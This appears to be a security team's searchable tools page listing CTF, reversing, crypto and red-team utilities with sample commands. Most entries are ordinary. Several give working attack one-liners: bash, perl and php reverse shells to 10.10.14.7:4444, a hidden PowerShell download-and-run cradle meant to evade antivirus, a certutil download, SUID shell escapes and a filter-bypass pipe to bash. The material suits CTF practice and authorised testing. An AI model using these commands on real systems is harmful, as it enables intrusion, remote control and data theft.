[THUGS(red)]

Tools

Everything the team reaches for — CTF, red team, blue team, OSINT, forensics, wireless and living-off-the-land, plus the one-liners we retype every engagement. Search, filter by tag, and click any code block to copy it.

1054
entries
37
tags in use
2h ago
last added
clear
tools.db 165 shown

angr tool

Binary / RE CTF Research

Python binary analysis platform combining symbolic execution, CFG recovery and taint tracking — the go-to for scripting a solve against a stripped pwn or reversing binary.

python3 -c "import angr; p = angr.Project('./chall'); print(p.factory.entry_state())"
visit → added by THUGS(red)

awk — spawn a shell from an unexpected binary one-liner Linux

CTF LOLBAS / LOTL Red Team

awk's system() function runs an arbitrary command — another common SUID-binary shell-breakout primitive from GTFOBins.

awk 'BEGIN {system("/bin/sh")}'
visit → added by THUGS(red)

BadBlood tool Windows

CTF Red Team

Populates a lab Active Directory with thousands of realistic-looking users, groups and misconfigurations, so BloodHound/PingCastle tooling has something non-trivial to chew on.

.\Invoke-BadBlood.ps1
visit → added by THUGS(red)

Binary Ninja tool

Binary / RE CTF

Commercial disassembler and decompiler (with a free Cloud/Personal tier) built around a scriptable intermediate-language stack (LLIL/MLIL/HLIL) that is friendlier to automate than most.

visit → added by THUGS(red)

BinDiff tool

Binary / RE CTF

Binary diffing tool (originally Zynamics, now Google) that matches functions between two versions of a binary — invaluable for spotting exactly what a patched-vs-unpatched CTF binary changed.

visit → added by THUGS(red)

binvis.io tool

Binary / RE CTF Steganography

Visualizes a binary file as a space-filling curve image, making repeated structure, embedded files, and anomalies visually obvious — useful both for RE triage and for spotting a likely stego carrier.

visit → added by THUGS(red)

bkcrack tool

Cryptography CTF Hashing

Recovers the internal keys of legacy ZipCrypto encryption via a known-plaintext attack — give it a few known bytes from any file in the archive and it derives the keys to decrypt the rest.

bkcrack -C secret.zip -c cipher.bin -p plain.bin
visit → added by THUGS(red)

Boxentriq Cipher Identifier tool

Ciphers CTF

Heuristic identifier that suggests which classical cipher or encoding a piece of ciphertext most likely came from, based on its character set and statistical shape.

visit → added by THUGS(red)

Bytecode Viewer tool

Binary / RE CTF Mobile

All-in-one Java/Android reverse engineering GUI bundling several decompilers (Procyon, CFR, FernFlower) side by side plus a bytecode editor and debugger.

visit → added by THUGS(red)

CADO-NFS tool Linux

Cryptography CTF Research

Complete number field sieve implementation for factoring very large RSA moduli — the tool of last resort once yafu/msieve are too slow for the key size involved.

visit → added by THUGS(red)

Capstone tool

Binary / RE CTF

Multi-architecture disassembly engine and library (with Python/C/Rust/… bindings) that many other RE tools — including Frida and Qiling — embed rather than write their own.

python3 -c "import capstone"
visit → added by THUGS(red)

certutil — decode a base64 blob with a built-in binary one-liner Windows

CTF LOLBAS / LOTL Red Team

certutil's -decode flag doubles as a base64 decoder, useful when nothing else on the box will do it for you.

certutil -decode encoded.b64 decoded.bin
visit → added by THUGS(red)

certutil — download a file with a signed Windows binary one-liner Windows

CTF LOLBAS / LOTL Red Team

certutil is signed, present on every Windows box by default, and nobody expects it to make HTTP requests — a classic LOLBAS download primitive.

certutil.exe -urlcache -split -f http://10.10.14.7:8000/file.exe file.exe
visit → added by THUGS(red)

CFR tool

Binary / RE CTF

Actively maintained Java decompiler that copes well with modern bytecode and mildly obfuscated class files.

java -jar cfr.jar ./Challenge.class --outputdir out
visit → added by THUGS(red)

Cheat Engine tool Windows

Binary / RE CTF

Memory scanner, debugger and code injector originally built for game hacking — the go-to tool for CTF "game reversing" challenges that ask you to find and patch a value in a running process.

visit → added by THUGS(red)

Check a binary's security mitigations one-liner Linux

Binary / RE CTF Offensive

Reports which exploit-mitigating protections (RELRO, stack canary, NX, PIE, RPATH) a binary was built with, the first thing to run against any new CTF pwn challenge.

checksec --file=./chall
# or from a pwntools script:
python3 -c "from pwn import *; print(ELF('./chall').checksec())"
added by THUGS(red)

Check AlwaysInstallElevated in one line one-liner Windows

CTF Enumeration Red Team

A one-line check for the classic misconfiguration where any user can run an MSI as SYSTEM — if both registry values come back 1, it is exploitable.

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
added by THUGS(red)

check for readable /etc/shadow (and similar over-permissioned files) one-liner Linux

Blue Team CTF Enumeration

A one-line sanity check that should always return nothing — if it returns something, that box has a serious permissions bug worth reporting.

ls -la /etc/shadow /etc/gshadow 2>/dev/null
added by THUGS(red)

checksec.sh tool Linux

Binary / RE CTF

Reports which exploit mitigations (NX, PIE, RELRO, canaries, stripped symbols) a binary was built with — the first command run against any new pwn challenge.

checksec --file=./chall
visit → added by THUGS(red)

Ciphey tool

Ciphers Cryptography CTF

Automated decoding tool that tries to work out what encoding or cipher was used on a blob of text (base64, ROT13, Vigenère, hashes, and combinations of them) without being told.

ciphey -t "encrypted text"
visit → added by THUGS(red)

crackmes.one tool

Binary / RE CTF Research

Community-maintained repository of "crackmes" — small deliberately-obfuscated binaries for practicing reverse engineering, searchable by language, platform and difficulty.

visit → added by THUGS(red)

crontab -l for every user, in one line one-liner Linux

CTF Enumeration Red Team

A quick privesc check: scheduled jobs run as another (often more privileged) user are a common escalation path if their script or binary is writable by you.

for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; sudo -u "$u" crontab -l 2>/dev/null; done
added by THUGS(red)

Cryptii tool

Ciphers CTF

Browser-based pipeline editor for chaining encodings and classical ciphers (base64, Caesar, Morse, binary, and more) to decode a multi-layered CTF puzzle step by step.

visit → added by THUGS(red)

CryptoHack tool

Cryptography CTF Research

Gamified platform for learning cryptography by breaking progressively harder CTF-style crypto challenges, from classical ciphers through RSA, ECC and modern primitives.

visit → added by THUGS(red)

CTF Field Guide tool

Cheat Sheets CTF Research

Trail of Bits' long-running reference covering pwn, reversing, crypto and steganography techniques for CTF play — dated in places but still a solid first read for each category.

visit → added by THUGS(red)

ctf-tools tool Linux

Binary / RE CTF

Zardus's collection of install scripts for a wide range of CTF tools, used to quickly provision a fresh box with a working pwn/RE toolchain instead of installing everything by hand.

./ctf-tools/pwntools/install.sh
visit → added by THUGS(red)

CTFd tool

CTF

The most widely used open-source platform for running a CTF competition — challenges, scoreboard, teams and hints — the base most community CTFs deploy rather than build from scratch.

visit → added by THUGS(red)

Cutter tool

Binary / RE CTF

Qt GUI built on top of Rizin, giving radare2-family analysis a graph view, decompiler panes and debugger without living in the r2 command line.

visit → added by THUGS(red)

CyberChef tool

Ciphers Cryptography CTF Forensics

GCHQ's "Cyber Swiss Army Knife" — a browser-based drag-and-drop pipeline for encoding, decoding, encryption and data-format transforms, arguably the single most-used CTF crypto/forensics tool there is.

visit → added by THUGS(red)

dCode.fr tool

Cheat Sheets Ciphers CTF

Enormous library of online solvers and identifiers for classical ciphers, encodings and CTF-favourite puzzle formats — often the fastest way to identify what you are even looking at.

visit → added by THUGS(red)

de4dot tool Windows

Binary / RE CTF

Deobfuscator for .NET assemblies that recognises and reverses common obfuscators (ConfuserEx, Babel, etc), a frequent prerequisite before a .NET CTF binary can be decompiled cleanly.

de4dot ./chall.exe
visit → added by THUGS(red)

decompyle3 tool

Binary / RE CTF

Python bytecode decompiler for 3.7-3.8 .pyc files — turns a compiled Python challenge back into readable source.

decompyle3 challenge.pyc
visit → added by THUGS(red)

Detect It Easy (DIE) tool

Binary / RE CTF Malware

Signature-based packer, compiler and file-type identifier for PE/ELF/Mach-O binaries — the modern, actively maintained successor to PEiD for "what packed this".

diec ./sample.exe
visit → added by THUGS(red)

Diaphora tool

Binary / RE CTF

Advanced binary diffing plugin for IDA/Ghidra with more heuristics than BinDiff for matching renamed or restructured functions across versions.

visit → added by THUGS(red)

dnSpy tool Windows

Binary / RE CTF

.NET assembly debugger, editor and decompiler in one — lets you set breakpoints and edit method bodies live inside a decompiled .NET binary, common in CTF "unmanaged reversing" of C# challenges.

visit → added by THUGS(red)

dnSpy (dnSpyEx) tool Windows

Binary / RE CTF

.NET assembly editor, debugger and decompiler in one — edit IL or C# in place and re-save the assembly. The dnSpyEx fork carries on the original, now-archived dnSpy project.

visit → added by THUGS(red)

Encode a payload to defeat naive space/quote filtering one-liner Linux

CTF Red Team Web

Base64-wrapping a command and decoding it inline is a quick way past a filter that blocks certain characters in a command-injection point.

echo 'aWQ7d2hvYW1p' | base64 -d | bash
added by THUGS(red)

exiftool tool

CTF Forensics OSINT

Reads, writes and edits metadata across an enormous range of file formats — the standard tool for pulling (or stripping) EXIF, GPS and authorship data out of files.

exiftool suspicious.jpg
visit → added by THUGS(red)

exploit.education tool

Binary / RE CTF Research

Series of downloadable VM-based wargames (Phoenix, Nebula, Fusion and others) teaching binary exploitation fundamentals step by step.

visit → added by THUGS(red)

FactorDB tool

Cryptography CTF

Public database of pre-computed integer factorizations — before spinning up a sieve, check whether someone already factored the exact RSA modulus a challenge gave you.

visit → added by THUGS(red)

fcrackzip tool

Brute Force CTF Hashing

Brute-force and dictionary password cracker for ZipCrypto-protected archives — the go-to before reaching for bkcrack's known-plaintext approach.

fcrackzip -u -D -p rockyou.txt secret.zip
visit → added by THUGS(red)

FeatherDuster tool

Cryptography CTF

NCC Group's automated cryptanalysis tool — feeds ciphertext through a battery of checks for weak or misused crypto (ECB, small keyspace, XOR, RSA flaws) rather than guessing by hand.

python featherduster.py
visit → added by THUGS(red)

ffuf tool

CTF Fuzzing Web

A fast web fuzzer written in Go — content discovery, virtual-host fuzzing and parameter fuzzing, all through one flexible FUZZ-keyword syntax.

ffuf -u http://target/FUZZ -w wordlist.txt -mc all -fc 404
visit → added by THUGS(red)

file tool

CTF Forensics

Identifies a file's actual type by inspecting its content (magic bytes) rather than trusting its extension — the very first command to run on anything unidentified.

file suspicious.bin
visit → added by THUGS(red)

find — spawn a shell from an unexpected SUID binary one-liner Linux

CTF LOLBAS / LOTL Red Team

A GTFOBins classic: find's -exec flag runs an arbitrary command, so a SUID find binary hands you a root shell outright.

find . -exec /bin/sh -p \; -quit
visit → added by THUGS(red)

find every SUID binary on the box one-liner Linux

CTF Enumeration Red Team

A one-liner CTF/OSCP staple: lists every SUID-bit binary on the filesystem, which you then cross-reference against GTFOBins for a breakout primitive.

find / -perm -4000 -type f 2>/dev/null
visit → added by THUGS(red)

find world-writable files owned by root one-liner Linux

CTF Enumeration Red Team

A file that root owns but anyone can write to is often the difference between a foothold and full compromise — this finds every one on the box.

find / -writable -user root -type f 2>/dev/null | grep -v "^/proc"
added by THUGS(red)

findcrypt-yara tool

Binary / RE Cryptography CTF

IDA/Ghidra plugin that scans a binary for known cryptographic constants (AES S-boxes, SHA/MD5 initialisation vectors, CRC tables) and flags exactly where a crypto routine sits.

visit → added by THUGS(red)

findstr — search a whole drive for a keyword, GUI-free one-liner Windows

CTF Enumeration Red Team

Built-in findstr recurses a directory tree grepping for a string — handy for hunting "password" in config files without installing anything.

findstr /si password *.txt *.config *.ini *.xml
added by THUGS(red)

FLARE FLOSS tool

Binary / RE CTF Malware

Mandiant's tool for extracting obfuscated/encoded strings from a binary by emulating the routines that decode them at runtime — surfaces strings plain `strings` cannot see.

floss ./chall
visit → added by THUGS(red)

flask-unsign tool

Cryptography CTF Web

Decodes, brute-forces and re-signs Flask's itsdangerous-based session cookie, recovering the app's SECRET_KEY from a wordlist and letting you forge an arbitrary session.

flask-unsign --unsign --cookie "<session_cookie>" --wordlist rockyou.txt
visit → added by THUGS(red)

foremost tool Linux

CTF Forensics

A file-carving tool that recovers files from a disk image or raw data stream based on headers and footers, independent of the filesystem metadata around them.

foremost -i disk.img -o carved/
visit → added by THUGS(red)

Frida tool

Binary / RE CTF Mobile

Dynamic instrumentation toolkit for injecting JavaScript into a running process to hook functions, dump traffic or bypass checks — as at home reversing a mobile app as a native binary.

frida -U -f com.target.app -l hook.js --no-pause
visit → added by THUGS(red)

GDB + GEF tool Linux

Binary / RE CTF

The GNU Debugger, and GEF — the plugin that turns it into a usable exploit-development environment with heap analysis, ASLR/PIE-aware context, and pwn-focused conveniences GDB alone doesn't have.

gdb -q ./binary
visit → added by THUGS(red)

GEF (GDB Enhanced Features) tool Linux

Binary / RE CTF Offensive

Another exploit-dev focused GDB plugin, with heap/format-string/ropper helpers and a large command set; the main alternative to pwndbg.

bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
visit → added by THUGS(red)

Generate and locate a cyclic pattern (pwntools) one-liner

Binary / RE CTF Offensive

Generates a De Bruijn-style non-repeating pattern to feed a crashing binary, then recovers the exact byte offset to the overwritten return address/register from the crash value.

python3 -c "from pwn import *; print(cyclic(200))"
# after the crash, recover the offset from the corrupted value:
python3 -c "from pwn import *; print(cyclic_find(0x6161616161616161))"
added by THUGS(red)

Ghidra tool

Binary / RE CTF

NSA's free, open-source software reverse-engineering suite — disassembler, decompiler and a scripting API, the free alternative most people reach for before IDA Pro.

visit → added by THUGS(red)

gifshuffle tool

CTF Steganography

Hides a message inside a GIF by shuffling its colour palette order rather than touching pixel data, leaving the visible image completely unchanged.

gifshuffle -p "password" cover.gif out.gif secret.txt
visit → added by THUGS(red)

glibc-all-in-one tool Linux

Binary / RE CTF

Downloads and builds any historical glibc version with debug symbols so a pwn exploit can be developed and tested against the exact libc the target ships.

./download.sh
./build.sh 2.31-0ubuntu9.9 amd64
visit → added by THUGS(red)

GTFOBins tool Linux

CTF Red Team Research

Curated database of Unix binaries that can be abused to bypass local security restrictions (privesc, shell escape, file read/write) once you already have limited execution.

visit → added by THUGS(red)

hash-identifier tool

CTF Hashing

Older interactive Python tool for guessing a hash's algorithm from its format — largely superseded by hashID/Name-That-Hash but still shipped on many distros.

python hash-identifier.py
visit → added by THUGS(red)

hashcat tool

Brute Force CTF Hashing

The world's fastest password-recovery tool — GPU-accelerated cracking across hundreds of hash modes, from a straight dictionary attack to rule-based and mask attacks.

hashcat -m 1000 -a 0 hashes.txt rockyou.txt
visit → added by THUGS(red)

hashID tool

CTF Hashing

Identifies possible hash types from a string and reports the matching Hashcat mode number(s) — a lighter, older tool than Name-That-Hash but still widely referenced.

hashid <hash>
visit → added by THUGS(red)

HashPump tool Linux

Cryptography CTF Hashing

Performs the hash length extension attack against MD5/SHA1/SHA256/SHA512-based MACs, forging a valid hash for attacker-appended data without knowing the secret key.

hashpump -s <hash> -d <data> -k <keylen> -a <append>
visit → added by THUGS(red)

Hopper Disassembler tool

Binary / RE CTF

Commercial disassembler/decompiler for macOS and Linux binaries (x86/x64/ARM), a common pick where Ghidra/IDA feel heavier than a single-binary CTF challenge needs.

visit → added by THUGS(red)

how2heap tool Linux

Binary / RE Cheat Sheets CTF

Shellphish's collection of annotated, runnable examples of glibc heap exploitation techniques (fastbin dup, unsafe unlink, tcache poisoning and more) across libc versions — the standard reference for learning heap pwn.

visit → added by THUGS(red)

ILSpy tool

Binary / RE CTF

Open-source .NET decompiler with a CLI (ilspycmd) for scripted use alongside the desktop app, decompiling IL back to readable C#.

ilspycmd MyAssembly.dll -o out/
visit → added by THUGS(red)

ImHex tool

Binary / RE CTF Forensics

Hex editor built for reverse engineering, with a C++-like pattern language for describing and colour-highlighting a binary format live as you scroll through it.

visit → added by THUGS(red)

Immunity Debugger tool Windows

Binary / RE CTF

Windows debugger built for exploit development, with a Python API and the PyCommands ecosystem (mona.py) that a lot of older exploit-dev writeups still assume.

visit → added by THUGS(red)

JD-GUI tool

Binary / RE CTF

Standalone Java decompiler GUI for browsing .class/.jar bytecode as reconstructed source — quick and disposable compared to a full IDE decompiler plugin.

visit → added by THUGS(red)

John the Ripper tool

Brute Force CTF Hashing

A long-standing password cracker supporting hundreds of hash and cipher types, with the community "jumbo" fork adding formats and features far beyond the base distribution.

john --wordlist=rockyou.txt hashes.txt
visit → added by THUGS(red)

jsteg tool

CTF Steganography

Simple JPEG steganography tool for hiding and revealing data in the DCT coefficients of a JPEG file — a common CTF format that plain LSB-in-PNG tools do not handle.

jsteg reveal in.jpg out.txt
visit → added by THUGS(red)

Kali Linux tool Linux

CTF Red Team

The Debian-based Linux distribution built specifically for penetration testing, security research and forensics — hundreds of tools preinstalled and maintained by Offensive Security.

visit → added by THUGS(red)

Keypatch tool

Binary / RE CTF

IDA plugin that uses Keystone to assemble and patch instructions directly in the disassembly view, instead of hand-editing raw bytes.

visit → added by THUGS(red)

Keystone tool

Binary / RE CTF

Multi-architecture assembler framework from the Capstone team — turns assembly text back into machine code for shellcode and patch development.

visit → added by THUGS(red)

Krakatau tool

Binary / RE CTF

Java decompiler and assembler that specifically handles malformed or deliberately obfuscated class files other decompilers choke on — a favourite when a CTF Java challenge fights back.

visit → added by THUGS(red)

ldd a binary to spot a hijackable shared library path one-liner Linux

Binary / RE CTF Red Team

Lists a binary's dynamic library dependencies and where it resolves them from — if one resolves to a directory you can write to, that's a privesc primitive.

ldd ./suspicious-binary
added by THUGS(red)

libc-database tool

Binary / RE CTF

Local database and search tool for identifying which glibc build a leaked symbol address or offset belongs to, once you have leaked one libc pointer.

./find printf 7c0
visit → added by THUGS(red)

LibcSearcher tool

Binary / RE CTF

Python library that searches a local libc-database for the exact libc version matching one or more leaked symbol addresses, then resolves the offsets of other symbols in it.

visit → added by THUGS(red)

List unquoted service paths one-liner Windows

CTF Enumeration Red Team

Finds services whose executable path contains a space and no quotes — a classic Windows privilege-escalation vector if you can drop a file into one of the ambiguous path segments.

Get-WmiObject win32_service | Where {$_.PathName -notlike 'C:\Windows*' -and $_.PathName -notlike '"*'} | Select Name,PathName
added by THUGS(red)

Look up a matching libc from leaked addresses one-liner Linux

Binary / RE CTF

Queries the public libc.rip / libc-database mirror with one or more leaked symbol addresses to identify the exact libc build a remote pwn target is running.

curl -s https://libc.rip/api/find -H 'Content-Type: application/json' -d '{"symbols":{"printf":"0x7f..."}}'
added by THUGS(red)

Manticore tool Linux

Binary / RE CTF Research

Trail of Bits' symbolic execution tool for exploring a binary's (or EVM contract's) execution paths and generating concrete inputs that reach a chosen state.

manticore ./chall
visit → added by THUGS(red)

MP3Stego tool

CTF Steganography

Hides data inside an MP3 file during the compression process itself, rather than after encoding — a common source for CTF "hidden data in this audio file" challenges.

visit → added by THUGS(red)

msieve tool

Cryptography CTF

Fast implementation of the quadratic sieve and number field sieve for integer factorization, one of the tools yafu calls out to for larger moduli.

./msieve -f n
visit → added by THUGS(red)

Name-That-Hash tool

CTF Hashing

Identifies the likely algorithm(s) behind a hash string and can hand off straight into Hashcat/John — a modern, actively maintained replacement for hashID/hash-identifier.

nth -t <hash>
visit → added by THUGS(red)

Netcat tool

CTF Network

The original "TCP/IP swiss army knife" — reads and writes across network connections from the command line, and the tool almost every reverse shell one-liner assumes is on the box.

nc -lvnp 4444
visit → added by THUGS(red)

nmap tool

CTF Network Recon Red Team

Network Mapper — port scanning, service/version detection and scriptable auditing (NSE) for discovery and security assessment.

nmap -sC -sV -T4 -oA initial <ip or host>
visit → added by THUGS(red)

objection tool

CTF Mobile

Runtime mobile exploration toolkit built on Frida that works without a jailbreak/root — bypass SSL pinning, dump the keychain/keystore, patch an app, all interactively.

objection -g com.target.app explore
visit → added by THUGS(red)

one_gadget tool

Binary / RE CTF Payloads

Finds single-address "one gadget RCE" offsets inside a given libc that pop a shell if a small set of register/memory constraints happen to hold — a pwn-exploit shortcut.

one_gadget ./libc.so.6
visit → added by THUGS(red)

openssl — quick file encryption without extra tooling one-liner Linux

Cryptography CTF

openssl is on almost every box already; this is the fastest way to symmetrically encrypt/decrypt a file for exfiltration without pulling in gpg.

openssl enc -aes-256-cbc -salt -in loot.tar -out loot.tar.enc -k <passphrase>
# decrypt: openssl enc -d -aes-256-cbc -in loot.tar.enc -out loot.tar -k <passphrase>
added by THUGS(red)

OutGuess tool

CTF Steganography

Universal steganographic tool that hides data in JPEG (and other) images while preserving the cover's statistical properties, making it harder to detect than naive LSB embedding.

outguess -k "key" -d hidden.txt cover.jpg stego.jpg
visit → added by THUGS(red)

OverTheWire tool

CTF Research

Classic set of SSH-accessible wargames (Bandit, Narnia, Krypton and more) teaching Linux, binary exploitation and cryptography fundamentals level by level.

ssh [email protected] -p 2220
visit → added by THUGS(red)

PadBuster tool

Cryptography CTF Web

Automates padding oracle attacks against CBC-mode ciphertext (cookies, tokens) when an application leaks a distinguishable error for bad padding.

perl padbuster.pl http://target/ <encrypted> 8 -cookies "auth=<value>"
visit → added by THUGS(red)

padding-oracle-attacker tool

Ciphers Cryptography CTF

Fast CLI/library for exploiting CBC padding oracles, decrypting or forging ciphertext by repeatedly resubmitting modified blocks and reading the oracle's pad-valid/invalid signal.

padding-oracle-attacker decrypt -u https://target/decrypt --data "$CT" --error-string "invalid padding"
visit → added by THUGS(red)

patchelf tool Linux

Binary / RE CTF

Modifies an ELF's dynamic linker (interpreter) and RPATH after the fact — the standard way to force a CTF pwn binary to run against a downloaded libc instead of the host's.

patchelf --set-interpreter ./ld-2.31.so --set-rpath . ./chall
visit → added by THUGS(red)

PE-bear tool Windows

Binary / RE CTF Malware

GUI PE file analyzer for inspecting and editing headers, sections, imports and resources of Windows executables — a staple for manual PE malware/CTF triage.

visit → added by THUGS(red)

PEASS-ng (linPEAS / winPEAS) tool

CTF Enumeration Red Team

The standard privilege-escalation enumeration scripts for CTF and OSCP-style practice — linPEAS for Linux, winPEAS for Windows — colour-coded output that flags the most promising misconfigurations first.

curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
visit → added by THUGS(red)

PEDA tool Linux

Binary / RE CTF

Python Exploit Development Assistance for GDB — an older but still-used GDB enhancement predating pwndbg/GEF, with register/stack context and pattern-offset helpers.

echo "source ~/peda/peda.py" >> ~/.gdbinit
visit → added by THUGS(red)

picoCTF tool

CTF Research

Carnegie Mellon's beginner-friendly CTF, whose archive of past-competition challenges stays open year-round as a practice platform across binary, crypto, web and forensics categories.

visit → added by THUGS(red)

pngcheck tool

CTF Forensics Steganography

Validates a PNG file's chunk structure and reports corruption, unusual/nonstandard chunks or data appended after the IEND marker — a quick check before hunting for hidden data manually.

pngcheck -v suspicious.png
visit → added by THUGS(red)

PowerShell — download-cradle into memory one-liner Windows

CTF LOLBAS / LOTL Red Team

The classic PowerShell download cradle: pulls a script into memory and runs it without touching disk, so a file-based AV signature never gets a chance to fire.

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7:8000/script.ps1')"
visit → added by THUGS(red)

Preeny tool Linux

Binary / RE CTF

Collection of LD_PRELOAD libraries (desock, patchmain and others) that make CTF pwn binaries easier to run and fuzz locally, e.g. turning a socket-only server into one that reads stdin.

LD_PRELOAD=./desock.so ./chall
visit → added by THUGS(red)

primefac tool

Cryptography CTF

Python library implementing several integer factorization algorithms (Pollard rho, Pollard p-1, ECM, multi-polynomial quadratic sieve) as an importable factor() function for solve scripts.

python3 -c "import primefac; print(list(primefac.primefac(N)))"
visit → added by THUGS(red)

Procyon tool

Binary / RE CTF

Java decompiler with particularly good handling of modern language features (lambdas, generics) compared to older decompilers.

java -jar procyon.jar -o out ./Challenge.class
visit → added by THUGS(red)

pwnable.kr tool

Binary / RE CTF Research

Long-running wargame focused on system/binary exploitation ("pwnable") challenges of increasing difficulty, one of the most cited practice grounds for CTF pwn.

visit → added by THUGS(red)

pwnable.tw tool

Binary / RE CTF Research

Taiwan-based binary exploitation wargame in the same spirit as pwnable.kr, with a broad and well-regarded set of pwn challenges.

visit → added by THUGS(red)

pwncat tool Linux

CTF Offensive Red Team

Post-exploitation platform that upgrades a raw reverse/bind shell into a persistent, scriptable session with file transfer, privesc enumeration and a local C2-style console.

pwncat-cs -lp 4444
visit → added by THUGS(red)

pwndbg tool Linux

Binary / RE CTF

GDB plugin adding heap/memory visualisation, exploit-dev commands and better context display for pwn work — one of the two dominant GDB enhancements alongside GEF.

echo "source ~/pwndbg/gdbinit.py" >> ~/.gdbinit
visit → added by THUGS(red)

Pwngdb / angelheap tool Linux

Binary / RE CTF

scwuaptx's GDB script (Pwngdb) and companion IDA Pro plugin (angelheap) for visualising glibc heap chunks, bins and tcache state during a heap exploitation session.

visit → added by THUGS(red)

pwninit tool Linux

Binary / RE CTF

Automates the pwn-challenge setup chores: patches a binary's interpreter/rpath to a given libc, fetches a matching ld.so, and scaffolds a pwntools solve script.

pwninit
visit → added by THUGS(red)

pwntools tool Linux

Binary / RE CTF

A Python CTF/exploit-development library — process interaction, packing/unpacking, ROP chain building and remote connection handling, the framework almost every pwn writeup script is built on.

from pwn import *
p = remote('target', 1337)
visit → added by THUGS(red)

pycdc tool

Binary / RE CTF

C++ Python bytecode decompiler covering a much wider range of Python versions than most pure-Python decompilers, handy when a challenge ships an unusual interpreter version.

./pycdc challenge.pyc
visit → added by THUGS(red)

python — spawn a shell inheriting current privileges one-liner Linux

CTF LOLBAS / LOTL Red Team

os.system() from a SUID or sudo-permitted python binary spawns a shell that keeps the elevated privilege — the same idea as the find/awk/vim primitives.

python3 -c 'import os; os.system("/bin/sh")'
visit → added by THUGS(red)

Python one-liner: quick JSON pretty-print from a pipe one-liner

CTF Web

No jq installed? Python's json.tool module is on every box that has Python and does the same job for a quick read.

curl -s https://api.target.tld/data | python3 -m json.tool
added by THUGS(red)

Qiling Framework tool

Binary / RE CTF Malware

Higher-level binary emulation framework built on Unicorn that emulates whole userspace programs (Linux/Windows/macOS/firmware) including syscalls, letting you run a target off its own OS.

qltool run -f ./sample --rootfs ./rootfs
visit → added by THUGS(red)

Query FactorDB for an RSA modulus one-liner

Cryptography CTF

Checks FactorDB's public database for a known factorization of an RSA modulus before spending time on local factoring tools — a very common first move in CTF RSA challenges.

curl -s "http://factordb.com/api?query=$N" | python3 -m json.tool
added by THUGS(red)

Quick check: is this box in a container? one-liner Linux

CTF Enumeration Forensics

A fast triage check for CTF/pentest boxes — cgroup contents and the presence of .dockerenv are the two most reliable tells.

cat /proc/1/cgroup 2>/dev/null; ls -la /.dockerenv 2>/dev/null
added by THUGS(red)

Quick reverse shell one-liners, by interpreter one-liner

CTF Red Team

The short-form reverse shells worth memorising when you only have one shot at a command injection — pick whichever interpreter is actually on the target.

bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
perl -e 'use Socket;$i="10.10.14.7";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("10.10.14.7",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
visit → added by THUGS(red)

quipqiup tool

Ciphers CTF

Automatic solver for monoalphabetic substitution ciphers and cryptograms, using letter frequency and dictionary matching to recover plaintext without a known key.

visit → added by THUGS(red)

radare2 tool

Binary / RE CTF

A free, scriptable reverse-engineering framework — disassembler, debugger, hex editor and binary analysis in one command-line-first toolset, with the Cutter GUI on top for those who want it.

r2 -A ./binary
visit → added by THUGS(red)

rCTF tool

CTF

CTF hosting platform originally built by redpwn for its own large-scale public competitions, offered as an alternative to CTFd for teams running a CTF.

visit → added by THUGS(red)

RetDec tool

Binary / RE CTF

Avast's open-source retargetable machine-code decompiler covering several architectures (x86, ARM, MIPS, PowerPC) and executable formats, usable as a CLI or library.

retdec-decompiler ./chall
visit → added by THUGS(red)

reversing.kr tool

Binary / RE CTF Research

Reverse-engineering focused wargame site with a long-standing set of crackme-style challenges.

visit → added by THUGS(red)

Rizin tool

Binary / RE CTF

Community fork of radare2's core, focused on a cleaner API and UX while keeping the same disassembly/analysis engine; Cutter is its official GUI front end.

rz-bin -I ./binary
visit → added by THUGS(red)

ROP Emporium tool

Binary / RE CTF Research

A structured series of binary exploitation challenges purpose-built to teach ROP techniques, with the same challenge repeated across x86, x86-64, ARM and MIPS builds.

visit → added by THUGS(red)

ROPgadget tool

Binary / RE CTF Payloads

Scans a binary for usable ROP/JOP gadgets and can auto-build a full ROP chain — the standard first step once a pwn challenge needs code reuse instead of shellcode.

ROPgadget --binary ./chall --ropchain
visit → added by THUGS(red)

ROPium tool Linux

Binary / RE CTF Offensive

Automatic ROP chain generator that reasons about gadget semantics rather than just pattern-matching mnemonics, so it can combine several gadgets to satisfy a constraint no single gadget meets.

visit → added by THUGS(red)

ropper tool

Binary / RE CTF Payloads

Gadget finder and ROP-chain builder similar to ROPgadget, with its own semantic gadget search (e.g. "pop rdi; ret") across ELF/PE/Mach-O.

ropper --file ./chall --search "pop rdi"
visit → added by THUGS(red)

RsaCtfTool tool

Cryptography CTF

Automates a long list of known RSA attacks (Wiener, Fermat, common factor, small e, Coppersmith and more) against a given public key, and decrypts the ciphertext if one lands.

python3 RsaCtfTool.py --publickey key.pub --uncipherfile flag.enc
visit → added by THUGS(red)

rsatool tool

Cryptography CTF

Derives a complete RSA private key from any sufficient subset of known parameters (p, q, n, e, d, phi) — handy when a CTF challenge leaks partial key material instead of the full key.

rsatool.py -p <p> -q <q> -e 65537 -o key.pem
visit → added by THUGS(red)

SageMath tool

Cryptography CTF Research

Full computer algebra system with deep number-theory and elliptic-curve support — the usual scripting environment for hand-rolled RSA/ECC/lattice attacks that go beyond canned tools.

sage -c "print(factor(n))"
visit → added by THUGS(red)

seccomp-tools tool Linux

Binary / RE CTF

Dumps and disassembles a running process's seccomp-BPF syscall filter, which pwn challenges use to restrict which syscalls a shellcode-based exploit is allowed to make.

seccomp-tools dump ./chall
visit → added by THUGS(red)

shellnoob tool Linux

Binary / RE CTF

Shellcode development toolkit for converting between asm/opcode/C-string/objdump representations and testing shellcode in an isolated environment.

visit → added by THUGS(red)

SNOW tool

CTF Steganography

Whitespace steganography tool — hides a message in the trailing spaces and tabs at the end of text lines, invisible unless you go looking for it (or view the file with tabs shown).

snow -C -m "secret" cover.txt stego.txt
visit → added by THUGS(red)

Sonic Visualiser tool

CTF Steganography

Audio analysis application with a detailed spectrogram view, the standard way to visually reveal a message or image hidden in an audio file's frequency content.

visit → added by THUGS(red)

Spectrology tool
